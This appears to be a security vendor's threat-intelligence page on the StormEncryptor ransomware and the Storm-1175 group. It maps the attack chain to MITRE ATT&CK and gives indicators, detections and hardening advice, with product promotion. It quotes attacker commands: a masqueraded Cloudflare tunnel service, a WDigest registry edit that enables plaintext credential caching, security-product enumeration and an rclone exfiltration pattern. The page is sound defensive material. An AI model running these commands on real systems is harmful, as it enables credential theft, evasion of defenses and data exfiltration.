Home

StormEncryptor

Custom C++ ransomware · Deployed by Storm-1175 · First seen August 2, 2026 ·

Overview

StormEncryptor is a custom C++ ransomware payload deployed by Storm-1175, a China-linked, financially motivated threat actor tracked by Microsoft Threat Intelligence. The group began deploying StormEncryptor on August 2, 2026, representing its first publicly observed activity since April 2026 and a shift away from Medusa ransomware, which the group had previously used in extortion operations. The transition to a custom-built payload signals that Storm-1175 is no longer reliant on rented ransomware tooling and is investing in proprietary infrastructure.

Storm-1175 is also tracked under the alias Spearwing. The group has been active since at least 2023 and operates with a documented pattern of weaponizing newly disclosed or zero-day vulnerabilities in internet-facing software before patch adoption can occur. Microsoft documented the group exploiting at least 16 vulnerabilities since 2023, including flaws in Mirth Connect, ConnectWise ScreenConnect, JetBrains TeamCity, Fortinet FortiClient EMS, and Fortra GoAnywhere. The August 2026 campaign is assessed to exploit CVE-2026-18577, an authentication-bypass vulnerability in N-able N-central that was disclosed on August 2, 2026 and added to CISA's Known Exploited Vulnerabilities catalog on August 3, 2026.

N-able N-central is a remote monitoring and management platform used extensively by managed service providers and enterprise IT teams to administer servers, workstations, and network devices at scale. Compromising an N-central server gives an attacker administrative reach across every endpoint managed by that platform, which is why Storm-1175 targets RMM infrastructure specifically. The group has used up to eight different legitimate RMM tools during intrusions to establish persistence and blend with normal administrative traffic.

StormEncryptor appends the .encrypted extension to every file it processes and drops a ransom note named !!!README_FIRST!!!.txt into every directory it scans. The note instructs victims to contact the attackers via anonymized communication channels within three days, warning that stolen data will be published if they do not engage. Microsoft assesses that Storm-1175 can move from initial access to full data exfiltration and ransomware deployment within a few days, and in earlier campaigns the group achieved complete encryption in under 24 hours from the moment of compromise.

Operational attack chain · StormEncryptor / Storm-1175

  1. RMM platform exploitation

    CVE-2026-18577 auth bypass on N-able N-central (assessed likely initial access vector; Microsoft has not formally confirmed this as the entry point) · Take Control feature abused for managed endpoint access

  2. Persistence and reconnaissance

    New local admin account created · AnyDesk / SimpleHelp deployed · Advanced IP Scanner / netscan for network mapping

  3. Credential harvesting

    Mimikatz LSASS dump · WDigest UseLogonCredential registry edit · NTDS.dit and SAM extraction · Veeam credential script

  4. Lateral movement and C2 tunneling

    PowerShell · PsExec · Impacket · RDP (firewall modified if blocked) · Cloudflare Tunnel renamed conhost.exe

    T1572T1036.005

  5. Defense tampering and data exfiltration

    Defender registry edits · C:\ exclusion via encoded PowerShell · PhantomKiller (k.sys) terminates EDR · Bandizip archives data · Rclone syncs to attacker cloud

    T1562.001T1068

  6. StormEncryptor deployed network-wide

    PDQ Deployer or Group Policy distributes StormEncryptor.exe · .encrypted extension appended · !!!README_FIRST!!!.txt dropped per directory

    T1486T1490

Storm-1175 has compressed its full attack cycle to under 24 hours in some documented cases, though Microsoft's primary reporting characterizes the typical pace as often within a few days, with sub-24-hour deployment observed in a subset of intrusions. The window for detection narrows significantly after the Cloudflare tunnel is established.

Stop threats before they spread

Detect malicious behavior, contain affected endpoints, and remediate attacks with Malware Protection Plus.

Free for 30 days. Unlimited endpoints. No credit card required.

Sign up

Tactics, techniques, and procedures

Storm-1175's attack chain spans eight MITRE ATT&CK tactics. The highest technique density falls in Defense Evasion, Credential Access, and Lateral Movement. Coverage below reflects Microsoft Threat Intelligence reporting through August 2026 and the April 2026 Storm-1175 deep-dive published by the Microsoft Security Blog.

MITRE ATT&CK coverageHeavyActiveNot observed
Recon0Resource Dev0Initial Access3Execution4Persistence3Priv. Esc2Defense Evasion6Credential Access5Discovery3Lateral4Collection2C23Exfiltration2Impact3
Technique detailKey techniques · StormEncryptor / Storm-1175
TacticTechniquesObserved behavior / defender telemetry
Initial Access
Exploit Public-Facing App T1190External Remote Services T1133Valid Accounts T1078
CVE-2026-18577 (N-able N-central authentication bypass) is assessed as the likely entry point. A patch bypass for CVE-2026-18556, it allows unauthenticated remote attackers to gain administrative control of the management console. Prior Storm-1175 campaigns exploited ScreenConnect (CVE-2024-1709), JetBrains TeamCity, Fortinet FortiClient EMS, and GoAnywhere (CVE-2025-10035). The group has weaponized zero-days up to one week before public disclosure in at least three confirmed cases. Telemetry: N-central auth logs, anomalous Take Control sessions, unusual admin API calls from unexpected source IPs.
Execution
PowerShell T1059.001Windows Command Shell T1059.003WMI T1047Service Execution T1569.002
PowerShell adds Defender exclusion paths via encoded commands, configures Windows Firewall to enable RDP, and drives discovery. WMI provides remote process execution alongside PsExec. StormEncryptor is distributed via PDQ Deployer executing RunFileCopy.cmd, or via Group Policy, without per-host interaction. Telemetry: encoded PowerShell command lines (Base64), WMI remote process creation, PDQ Deployer distributing unfamiliar scripts, Group Policy changes adding startup scripts, RunFileCopy.cmd process creation.
Persistence
Local Account Creation T1136.001Remote Access Tools T1219Web Shell T1505.003
The first post-exploitation action is creating a new local user account and adding it to the administrators group. The group then deploys RMM tools including AnyDesk, SimpleHelp, Atera, MeshAgent, and ScreenConnect — up to eight simultaneously — from which C2 activity is indistinguishable from legitimate administration. Web shells in .jsp format were observed in GoAnywhere campaign directories. Telemetry: account creation (4720), admin group membership change (4732), new RMM binary installs outside approved baseline, software inventory delta.
Privilege Escalation
Exploit for Priv Esc T1068Account Manipulation T1098
After establishing the initial admin account, Storm-1175 pivots to domain controllers using harvested credentials to access NTDS.dit and the SAM hive, providing offline cracking material for the full domain. No separate privilege-escalation exploit is required once the initial admin account is created. Telemetry: PsExec pivots to domain controllers, ntdsutil or NTDS.dit file reads outside the AD DS service context, unusual domain admin logon events from unexpected source hosts.
Defense Evasion
Impair Defenses T1562.001Modify Registry T1112Masquerading T1036.005Impair Defenses: EDR Kill (BYOVD) T1562.001Protocol Tunneling T1572Obfuscated Files T1027
Against AV: Defender registry settings modified and C:\ added as a blanket exclusion via encoded PowerShell. Against EDR: PhantomKiller loads a signed kernel driver (k.sys) — based on the vulnerable Lenovo BootRepair.sys driver — from C:\ProgramData\AnyDesk to terminate security processes at kernel level via a BYOVD technique. This behavior is mapped to T1562.001 (Impair Defenses: Disable or Modify Tools) as its purpose is EDR termination; T1068 is reserved for the privilege-escalation row where a separate exploit elevates the attacker's access level. The group runs tasklist | findstr ms and findstr soph to enumerate security products before deploying it. Against network inspection: cloudflared.exe is renamed to conhost.exe, MicrosoftEdgeUpdate64.exe, or msmp.exe and placed in user-writable directories. Telemetry: Defender registry edits under HKLM\SOFTWARE\Policies\Microsoft\Windows Defender, exclusion path additions via encoded PowerShell (event 4104), kernel driver load (7045) of k.sys from ProgramData, process termination of security tools, conhost.exe from non-system paths.
Credential Access
LSASS Memory T1003.001NTDS.dit T1003.003SAM / SYSTEM hive T1003.002WDigest Caching T1112Credentials from Password Stores T1555
Mimikatz and Impacket are the primary credential theft tools. LSASS is also dumped via Task Manager's built-in create-dump capability. WDigest credential caching is reactivated by setting UseLogonCredential to 1, forcing Windows to cache credentials in plaintext in LSASS memory. With domain controller access, the group extracts NTDS.dit and the SAM hive. A dedicated script extracts plaintext credentials from Veeam Backup software, simultaneously granting access to backup infrastructure and eliminating it as a recovery path. Telemetry: LSASS process access (Event ID 10) with PROCESS_VM_READ, UseLogonCredential registry write, ntdsutil or NTDS.dit access outside the AD DS service, PowerShell reading Veeam configuration database.
Discovery
Network Service Scan T1046Remote System Discovery T1018Security Software Discovery T1518.001
Advanced IP Scanner and netscan enumerate reachable hosts and open services immediately after the initial foothold. The group uses tasklist /v | findstr ms and findstr soph to identify Defender and Sophos agents before evasion tooling is deployed. Discovery runs in parallel with credential harvesting. Telemetry: Advanced IP Scanner or netscan execution, tasklist piped to findstr, SMB enumeration traffic, burst of discovery commands after new admin account creation.
Lateral Movement
RDP T1021.001SMB Admin Shares T1021.002Lateral Tool Transfer T1570Remote Access Tools T1219
PowerShell and PsExec handle SMB-based movement and payload staging. Impacket provides additional SMB protocol capabilities. Where RDP is blocked, Storm-1175 modifies Windows Firewall rules via PowerShell or netsh to re-enable it. The renamed Cloudflare Tunnel provides an encrypted outbound channel for RDP pivoting that bypasses perimeter inspection. PDQ Deployer distributes StormEncryptor via RunFileCopy.cmd without individual attacker interaction per device. Telemetry: Windows Firewall rule changes enabling RDP (Event ID 2004), logon types 3 and 10 (4624), PsExec service installs from unexpected paths, SMB admin share access (5140), PDQ Deployer distributing unfamiliar binaries.
Collection
Archive via Utility T1560.001Local System Data T1005
Bandizip compresses high-value files before exfiltration. The group prioritizes business-critical data, domain credential material, backup configuration, and financial or medical records. Rclone's real-time synchronization to attacker-controlled cloud storage runs throughout all intrusion stages. The specific ordering, that exfiltration begins before credential harvesting completes — is an analyst inference based on Rclone's continuous sync behavior rather than a directly observed event sequence in the primary sources. Microsoft's reporting confirms Rclone is used for continuous exfiltration; the precise start point relative to other stages should be treated as approximate. Telemetry: Bandizip process creation with archive arguments, large compressed files in staging directories, Rclone sync operations to remote cloud endpoints, bulk file-read activity across multiple shares.
Command and Control
Protocol Tunneling T1572Remote Access Tools T1219Proxy T1090
A Cloudflare Tunnel registered as a Windows service provides the primary C2 channel; cloudflared is renamed to conhost.exe, MicrosoftEdgeUpdate64.exe, or msmp.exe and placed in non-standard directories. Multiple RMM tools provide redundant access channels indistinguishable from legitimate IT management traffic; removing one does not end the intrusion. Telemetry: new service registrations pointing to Cloudflare infrastructure, cloudflared running from user-writable paths under a renamed process, long-lived outbound HTTPS from servers to Cloudflare endpoints, multiple concurrent RMM processes on a single host.
Exfiltration
Transfer to Cloud Account T1537Exfil to Cloud Storage T1567.002
Rclone transfers data continuously to attacker-controlled cloud storage throughout the intrusion. Newly written or modified files are picked up automatically without attacker re-interaction, making the exfiltration footprint a sustained stream of smaller uploads rather than a single large burst. Bandizip archives reduce the size and file-count of outbound transfers. Telemetry: rclone process events with sync or copy arguments, sustained outbound upload volume from servers, NetFlow anomalies showing prolonged medium-rate egress.
Impact
Data Encrypted for Impact T1486Inhibit System Recovery T1490Financial Extortion T1657
StormEncryptor recursively encrypts target directories and appends .encrypted to every affected filename. A ransom note (!!!README_FIRST!!!.txt) is dropped in every scanned directory, instructing victims to contact the attacker within three days. Encryption is distributed network-wide via PDQ Deployer or Group Policy. Note on T1490 (Inhibit System Recovery): the recovery-inhibition mechanism documented for this campaign is Veeam credential theft, which eliminates backup infrastructure as a recovery path rather than the more commonly documented VSS shadow-copy deletion. Classic T1490 shadow-copy deletion has not been confirmed in primary sources for StormEncryptor specifically. Telemetry: high-volume file rename or write activity appending .encrypted, !!!README_FIRST!!!.txt creation across directories, PDQ Deployer distributing an unsigned executable, StormEncryptor.exe process creation (SHA-256 c19ded65e822bb43ad0381c58abf33b7c8890f7bcc7125058a0c849c7e1a6054).
Reconnaissance / Resource Development—Not observed in-network. Storm-1175 conducts external reconnaissance by monitoring vulnerability databases and scanning internet-facing IP ranges for unpatched management systems before entry. This activity occurs outside victim infrastructure.
Stage 1T1190 · T1133 · T1078

How the attack starts

Storm-1175 targets internet-facing management infrastructure by design. The group monitors public vulnerability databases, scans exposed IP ranges, and moves to exploit within hours of a vulnerability becoming actionable. CVE-2026-18577 is an authentication-bypass flaw in N-able N-central, a widely deployed RMM platform. N-able first detected exploitation on July 31, 2026. The vulnerability was disclosed and added to CISA's Known Exploited Vulnerabilities catalog on August 2 and 3 respectively. Storm-1175's StormEncryptor campaign began on August 2, the same day as disclosure — Microsoft assesses CVE-2026-18577 as the likely initial access vector, but has not formally confirmed it as the entry point. The timing is consistent with the group's documented pattern of zero-day and near-zero-day exploitation.

CVE-2026-18577 is a patch bypass for the earlier CVE-2026-18556. Sending a crafted request to a vulnerable N-central server bypasses administrative authentication entirely, giving the attacker full control over the management console and, by extension, administrative reach into every endpoint managed by that platform. A single vulnerable N-central instance can expose thousands of managed endpoints to an attacker who has not yet made direct contact with any of those endpoints.

Prior campaigns used vulnerabilities in Mirth Connect, ConnectWise ScreenConnect, JetBrains TeamCity, Fortinet FortiClient EMS, and Fortra GoAnywhere. The group also exploited zero-days in SmarterMail (CVE-2026-23760) and GoAnywhere (CVE-2025-10035) up to one week before public disclosure. The pattern is consistent: the group identifies and pre-positions against RMM and managed file transfer infrastructure before the product's user base has time to patch.

Stage 2T1059.001 · T1136.001 · T1219 · T1570

What runs on the endpoint

After gaining access through the RMM platform, Storm-1175 runs a disciplined post-exploitation sequence using tools that generate no per-binary malware alerts. The first action is creating a new local account and adding it to the administrators group before any other activity. From that account, lateral movement and credential harvesting proceed in parallel using legitimate administrative tooling.

PowerShell handles discovery, firewall modification, and Defender exclusion configuration. PsExec and Impacket move payloads and run remote processes over SMB. Where RDP is blocked, Storm-1175 directly modifies Windows Firewall rules to re-enable it. The observed RMM toolkit spans AnyDesk, SimpleHelp, Atera, MeshAgent, ScreenConnect, and DWAgent across prior campaigns; the August 2026 N-central campaign specifically added TacticalRMM, TeamViewer, RustDesk, and HopToDesk (source: Sophos CTU) — up to eight tools simultaneously — ensuring that removing one does not end attacker access.

For network-wide payload distribution, PDQ Deployer executes RunFileCopy.cmd to push StormEncryptor across the environment simultaneously, converting a single foothold into a network-wide encryption event without requiring individual host compromise.

Cloudflare Tunnel masquerade (service registration pattern)
sc create Cloudflared binPath= "C:\Users\Public\conhost.exe tunnel --no-autoupdate run --token [TOKEN]" start= auto
sc start Cloudflared

Pattern documented in N-able N-central exploitation reporting (August 2026); cloudflared renamed to blend with Windows system processes

Stage 3T1562.001 · T1112 · T1036.005 · T1068

How the malware evades detection

Storm-1175's evasion strategy addresses the three most common detection layers in sequence: signature-based AV, behavior-based EDR, and network perimeter inspection. Each layer is addressed before the next phase of the attack runs.

Antivirus is bypassed by modifying Microsoft Defender registry settings and using an encoded PowerShell command to add C:\ to the exclusion list, ensuring StormEncryptor and staging tools execute from any path without triggering a detection.

Against EDR, the group enumerates running security processes using tasklist /v | findstr ms and tasklist /v | findstr soph, then deploys PhantomKiller. PhantomKiller loads a signed kernel driver named k.sys from C:\ProgramData\AnyDesk via a BYOVD approach and uses it to terminate security processes at kernel level, where user-mode protections cannot stop it.

Network-layer detection is addressed by running all C2 traffic through a Cloudflare Tunnel registered as a Windows service. The cloudflared binary is renamed to conhost.exe or MicrosoftEdgeUpdate64.exe and placed in user-writable directories. Because the traffic is outbound HTTPS to Cloudflare infrastructure, it is difficult to block without broad policy impact.

WDigest caching enable via registry (cleartext credential exposure)
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

Documented in Microsoft Security Blog (April 2026); forces plaintext credential caching in LSASS memory for Mimikatz extraction

Stage 4T1003.001 · T1003.003 · T1555 · T1486 · T1490

What it tries to access or modify

Credential harvesting is the central post-exploitation activity before ransomware deployment. Mimikatz and Impacket dump LSASS memory for Kerberos tickets and cached credentials. The WDigest registry edit forces Windows to cache credentials in plaintext in LSASS, which Mimikatz then reads even from accounts otherwise protected by modern Windows credential isolation. Task Manager's create-dump function provides a quieter alternative LSASS dump without a third-party tool on disk.

Domain controller access is pursued aggressively because NTDS.dit contains all domain password hashes. A dedicated script extracts plaintext credentials from Veeam Backup software databases, simultaneously granting access to backup infrastructure and compromising the organization's recovery capability before encryption begins. Defenders should assume the same backup-destruction intent that was documented in Storm-1175's prior Medusa campaigns applies to StormEncryptor deployments.

Encryption is the final step. StormEncryptor is distributed via PDQ Deployer or Group Policy and recursively encrypts directories, appending .encrypted to every affected file, with the ransom note dropped per directory. Microsoft Defender for Endpoint generates alerts including "Hands-on-keyboard attack involving multiple devices" and "Potential human-operated malicious activity" — useful SOC triage signals even when the binary itself is not blocked.

Execution flow

What the kill chain looks like in process and API telemetry

Where Malware Protection Plus fits

StormEncryptor's most detectable behaviors appear on Windows endpoints before the encryptor runs: the WDigest registry modification, the PhantomKiller kernel driver load, the renamed Cloudflare Tunnel service registration, and the Rclone exfiltration chain. Malware Protection Plus focuses on detecting these behavioral patterns across managed endpoints.

The key in-scope indicators are the UseLogonCredential registry write, the k.sys BYOVD driver load from ProgramData, encoded PowerShell adding C:\ as a Defender exclusion, and mass file renaming to .encrypted. Malware Protection Plus can identify these patterns, isolate affected endpoints to prevent lateral spread, and preserve process-lineage artifacts for investigation and root-cause analysis.

The upstream N-central compromise and initial RMM platform exploitation require RMM vendor patching, network access controls, and management platform monitoring. Malware Protection Plus complements these controls by covering the Windows-side kill chain from the moment the attacker steps onto the managed endpoint.

Indicators of compromise

Durable behavioral indicators remain relevant across StormEncryptor variants because the underlying technique sequence is consistent. Volatile indicators such as hashes, IP addresses, and Cloudflare token values expire or rotate and should be sourced live from CISA and the Microsoft Security Blog.

Ransomware artifacts

Durable · 3 indicators

File names and extensions dropped by StormEncryptor on every encrypted host.

  • !!!README_FIRST!!!.txtRansom note; dropped in every directory StormEncryptor scans
  • .encrypted (file extension)Appended to every file StormEncryptor encrypts
  • RunFileCopy.cmdPDQ Deployer script used to distribute StormEncryptor network-wide

Registry artifacts

Durable · 3 indicators

Registry modifications made during credential harvesting and defense tampering.

  • HKLM\...\WDigest\UseLogonCredential = 1Enables plaintext credential caching in LSASS for Mimikatz harvesting
  • HKLM\SOFTWARE\Policies\...\Windows Defender (modified)Defender settings disabled; C:\ added to exclusion paths
  • HKLM\SYSTEM\...\Services\Cloudflared (new service)Cloudflare Tunnel registered as a persistent Windows service

Process and command-line patterns

Durable · 7 patterns

Execution behaviors and parent-child chains that signal an active StormEncryptor compromise.

  • conhost.exe / MicrosoftEdgeUpdate64.exe tunnel --token [...]Renamed Cloudflare Tunnel binary running as persistent service
  • tasklist /v | findstr ms && tasklist /v | findstr sophSecurity product enumeration before PhantomKiller deployment
  • k.sys loaded from C:\ProgramData\AnyDeskPhantomKiller BYOVD driver; terminates EDR processes at kernel level
  • powershell.exe -EncodedCommand [Base64] (C:\ exclusion)Encoded PowerShell adds entire C:\ drive as Defender exclusion
  • reg add HKLM\...\WDigest /v UseLogonCredential /d 1Enables plaintext credential caching for Mimikatz extraction
  • rclone.exe sync --config rclone.conf [src] remote:[dst]Continuous data exfiltration to attacker-controlled cloud storage
  • new local admin account creation immediately post-accessFirst post-exploitation action; ensures persistence before further activity

Tooling observed across Storm-1175 operations

Durable · behavioral

Legitimate and dual-use tools consistently present across Storm-1175 campaigns. Their presence is a signal in non-approved context, not confirmation on its own.

  • AnyDesk · SimpleHelp · Atera · MeshAgent · ScreenConnect · DWAgent (prior campaigns) · TacticalRMM · TeamViewer · RustDesk · HopToDesk (August 2026 N-central campaign, Sophos CTU)RMM tools abused for C2 and persistence; up to 8 used simultaneously. Tool selection varies by campaign — the August 2026 N-central incident (Sophos) observed TacticalRMM, TeamViewer, RustDesk, and HopToDesk specifically. An approved-tool baseline covering all of these is required for effective detection.
  • Mimikatz · Impacket · Advanced IP Scanner · netscanCredential theft and network discovery tools
  • Bandizip · Rclone · PDQ DeployerStaging, exfiltration, and ransomware distribution tools
  • PhantomKiller (9.exe) · k.sys kernel driverBYOVD tool used to terminate security products at kernel level

Build-specific hash

Volatile · changes on rebuild

Hash from the identified StormEncryptor sample reported by Microsoft Threat Intelligence (August 2026). This represents a single known build; new builds will not match. Use as a confirmation aid, not a primary detection rule.

  • c19ded65e822bb43ad0381c58abf33b7c8890f7bcc7125058a0c849c7e1a6054SHA-256 — StormEncryptor (Ransom:Win64/StormEncryptor) · Microsoft Threat Intelligence, August 2026

Detection & Analysis

Storm-1175 moves from initial access to encryption in under 24 hours in documented cases. Detection based solely on the StormEncryptor binary hash arrives too late: by the time the encryptor runs, credential material is exfiltrated, defenses are tampered, and PDQ Deployer has already pushed the payload to every reachable endpoint. The detections below are ordered by kill-chain position, earliest first.

  1. 01

    Anomalous RMM platform activity and N-central authentication events

    RMM platform logs / network telemetry

    Unexpected Take Control sessions originating from new or external source IPs on N-central, administrative API calls outside maintenance windows, and indicators specific to CVE-2026-18577 and CVE-2026-18556. Alert on N-central administrative sessions that generate new outbound connections from managed endpoints within minutes of the session starting.

    Why it works: Storm-1175's initial access produces no malware artifacts. The earliest detectable signal is anomalous administrative behavior on the RMM console itself. Monitoring the management platform is the only pre-persistence detection opportunity in this attack chain.

  2. 02

    New local administrator account creation immediately post-access

    Active Directory / endpoint telemetry

    Alert on new local accounts created and immediately added to the administrators group (Event IDs 4720 and 4732), particularly when the creation occurs shortly after an RMM session, a new remote desktop logon, or any management platform authentication event from an unusual source.

    Why it works: creating a persistence account is Storm-1175's first post-exploitation action, before any credential harvesting or tool deployment. This event is predictable, generates clear Windows event log entries, and represents the earliest in-network signal of a Storm-1175 intrusion that standard Windows logging captures.

  3. 03

    WDigest UseLogonCredential registry modification

    Registry / endpoint telemetry

    Alert on any write to HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential setting the value to 1. This registry key controls whether Windows caches credentials in plaintext in LSASS memory. It should never be set to 1 on a production system running Windows 8.1 or later.

    Why it works: WDigest credential caching was disabled by default in Windows 8.1 and later precisely because it exposes plaintext credentials to memory scraping. A write of 1 to this key is almost exclusively associated with attacker activity in modern environments and has no legitimate administrative use case.

  4. 04

    Renamed Cloudflare Tunnel binary registered as a Windows service

    Service event log / process telemetry

    Alert on new Windows service registrations (Event ID 7045) where the binary path points to a file in user-writable locations (Public, ProgramData, Temp) with a process name that does not match the known cloudflared.exe binary. Monitor specifically for conhost.exe, MicrosoftEdgeUpdate64.exe, and msmp.exe running tunnel arguments. Alert on long-lived outbound HTTPS sessions from newly registered services to Cloudflare infrastructure.

    Why it works: the legitimate conhost.exe does not establish outbound tunnel connections. A process with that name running Cloudflare tunnel arguments from a non-standard path is unambiguous attacker activity, and this detection catches both the C2 channel and the evasion technique simultaneously.

  5. 05

    PhantomKiller kernel driver load (k.sys) from ProgramData

    Kernel telemetry / driver event logs

    Monitor for kernel driver load events (Event ID 7045 and Sysmon Event ID 6) where the driver binary path is under C:\ProgramData\AnyDesk or other user-writable paths. Alert on any new service install followed within seconds by termination of antivirus or EDR processes. Watch specifically for a process named 9.exe or similar single-character names loading k.sys.

    Why it works: PhantomKiller is the instrument Storm-1175 uses to neutralize EDR tools before the encryptor runs. Detecting the driver load before it terminates endpoint security is the last window in which a fully instrumented response is possible. After this point, telemetry collection is actively degraded.

  6. 06

    Microsoft Defender registry tampering and broad exclusion paths

    Registry / endpoint telemetry

    Alert on modifications to Defender policy registry keys under HKLM\SOFTWARE\Policies\Microsoft\Windows Defender, and specifically on any exclusion path addition that includes the root of a system drive (C:\). Also monitor for encoded PowerShell commands that include the Add-MpPreference cmdlet or direct registry writes to exclusion path values.

    Why it works: adding C:\ as a Defender exclusion disables antivirus coverage for the entire system. There is no legitimate administrative reason to apply this exclusion in a production environment. This modification is documented explicitly in Storm-1175 operations and generates a detectable registry write event.

  7. 07

    Rclone continuous exfiltration and Bandizip staging

    Network / DLP / process telemetry

    Alert on rclone.exe processes executing with sync or copy arguments pointing to remote cloud endpoints. Monitor for sustained outbound upload volume from server-class machines to cloud storage destinations. Bandizip processes creating large archives in staging directories outside of backup tooling context are similarly anomalous.

    Why it works: Storm-1175 exfiltrates data before encryption. Detecting Rclone exfiltration gives a window to block the transfer before the data leaves the network. Rclone's continuous synchronization model also means the outbound transfer is ongoing throughout the intrusion, increasing the probability of detection at any point before encryption.

  8. 08

    PDQ Deployer distributing unsigned or unfamiliar executables

    Process / software deployment telemetry

    Alert on PDQ Deployer distributing executables not in the organization's approved software catalog, particularly binaries with no version information, no digital signature, or names matching RunFileCopy.cmd. Monitor for PDQ Deployer executing scripts that trigger mass process creation across the network in a short window.

    Why it works: PDQ Deployer is Storm-1175's chosen mechanism for network-wide StormEncryptor delivery. A single alert on this distribution pattern can intercept the encryption event before it completes across all target hosts. PDQ Deployer distributing an unsigned binary outside a change window should be treated as a critical incident.

Hardening Guidelines

These controls target Storm-1175's specific dependencies: unpatched RMM platforms, WDigest credential exposure, broad Defender exclusions, kernel-level EDR bypass, and backup infrastructure access. Quick win = single policy or registry change, deployable in days. Standard = audit-mode rollout, deployable in weeks.

  1. Patch internet-facing RMM and management platforms immediately after advisories

    Critical

    Storm-1175 moves within hours of vulnerability disclosure. CVE-2026-18577 was exploited on the day it was disclosed. Treat CISA KEV entries for internet-facing management platforms as requiring emergency patch timelines, not standard monthly cycles. Self-hosted N-central deployments must be updated manually to version 2026.3.1.10 (Hotfix 2) or later.

    Do: subscribe to vendor security advisories and the CISA KEV feed. Establish an emergency patching workflow for internet-facing management infrastructure that operates outside normal change windows when a KEV entry is issued.

  2. Enforce MFA and restrict internet exposure on all management consoles

    Critical

    Authentication bypass vulnerabilities are most impactful when the management console is directly internet-accessible without additional authentication layers. Require phishing-resistant MFA for all administrative access, restrict the administrative interface to known IP ranges, and monitor login events continuously. Where possible, place management consoles behind a VPN or zero-trust access gateway.

    Scope: applies to N-central, ConnectWise ScreenConnect, Atera, and any other management platform with an internet-facing administrative interface.

  3. Enforce a WDigest-off policy and enable Credential Guard

    Quick win

    Deploy a Group Policy Object that explicitly sets UseLogonCredential to 0 and prevents modification by non-system processes. On supported hardware, enable Windows Credential Guard to virtualize LSASS secrets so they are inaccessible even if WDigest caching is re-enabled. An attacker who cannot extract plaintext credentials from LSASS must rely on hash-based movement, which is significantly more detectable.

    Path: Computer Configuration → Administrative Templates → System → Device Guard for Credential Guard. WDigest policy: HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0 via GPO preference.

  4. Enable HVCI and the Microsoft Vulnerable Driver Blocklist

    Standard

    Hypervisor-Protected Code Integrity prevents unauthorized kernel drivers from loading, blocking the PhantomKiller (k.sys) BYOVD technique. The Microsoft Vulnerable Driver Blocklist blocks known-vulnerable signed drivers used in BYOVD campaigns. Enabling both together significantly raises the cost of kernel-level EDR bypass for Storm-1175 and similar groups.

    Path: System → Device Security → Core Isolation → Memory Integrity, or via Group Policy. Deploy the Microsoft recommended driver blocklist alongside HVCI. Audit-mode first to identify driver compatibility issues.

  5. Restrict Defender exclusion path management and enable Tamper Protection

    Quick win

    Apply a Group Policy that prevents non-administrative accounts from modifying Defender exclusion paths. Enable Tamper Protection to block registry modifications to Defender settings from outside the security product itself. Alert on any exclusion path that includes a root drive (C:\) being added via PowerShell, registry editor, or command prompt.

    Path: Tamper Protection is enabled in Windows Security → Virus and Threat Protection Settings. GPO restriction for exclusion modification: Computer Configuration → Administrative Templates → Windows Defender Antivirus.

  6. Establish and enforce an approved RMM tool baseline

    Standard

    Storm-1175 uses up to eight different RMM tools as C2 channels. An approved list enforced via AppLocker or WDAC removes the attacker's ability to blend redundant access channels with legitimate administration. Alert on any RMM tool installation not initiated through an approved deployment workflow.

    Do: build an approved remote access tool baseline. Any RMM tool installed outside the approved deployment mechanism should trigger an immediate alert and investigation, not a deferred ticket.

  7. Isolate backup infrastructure and protect Veeam credentials

    Standard

    Storm-1175 uses dedicated scripts to extract Veeam Backup credentials from the Veeam SQL database. Backup service accounts should use credentials not present in domain Active Directory. N-central agents should not have administrative access to backup infrastructure. Apply the 3-2-1 rule: three copies, two media types, one offsite. Test restoration from the most isolated copy on a regular cycle.

    Verify: confirm that Veeam database access requires credentials not shared with domain accounts, and that Veeam configuration ports are not accessible from general management networks.

  8. Block or monitor Rclone, Bandizip, and cloud sync tools on servers

    Quick win

    Rclone and Bandizip are not standard server software. Alert on their presence and execution on server-class machines, particularly when running with cloud-sync or archive arguments uploading to external cloud storage. Block Rclone from executing via AppLocker or WDAC on all servers where it is not explicitly required for business operations.

    Path: software restriction policy or WDAC rule denying rclone.exe on servers. NetFlow monitoring for sustained outbound volume from servers to cloud storage endpoints that exceeds established baselines.

Primary references

Source material for this page. All technical claims are drawn from primary government sources, Microsoft Threat Intelligence reporting, platform vendor advisories, and independent security research. Reviewed through August 2026.

Detect Storm-1175's pre-encryption kill chain before StormEncryptor runs.

Malware Protection Plus helps security teams detect the WDigest registry modification, Cloudflare Tunnel masquerade, and PhantomKiller kernel driver load that precede encryption, isolate compromised endpoints, and preserve forensic artifacts for investigation.

Start free trial →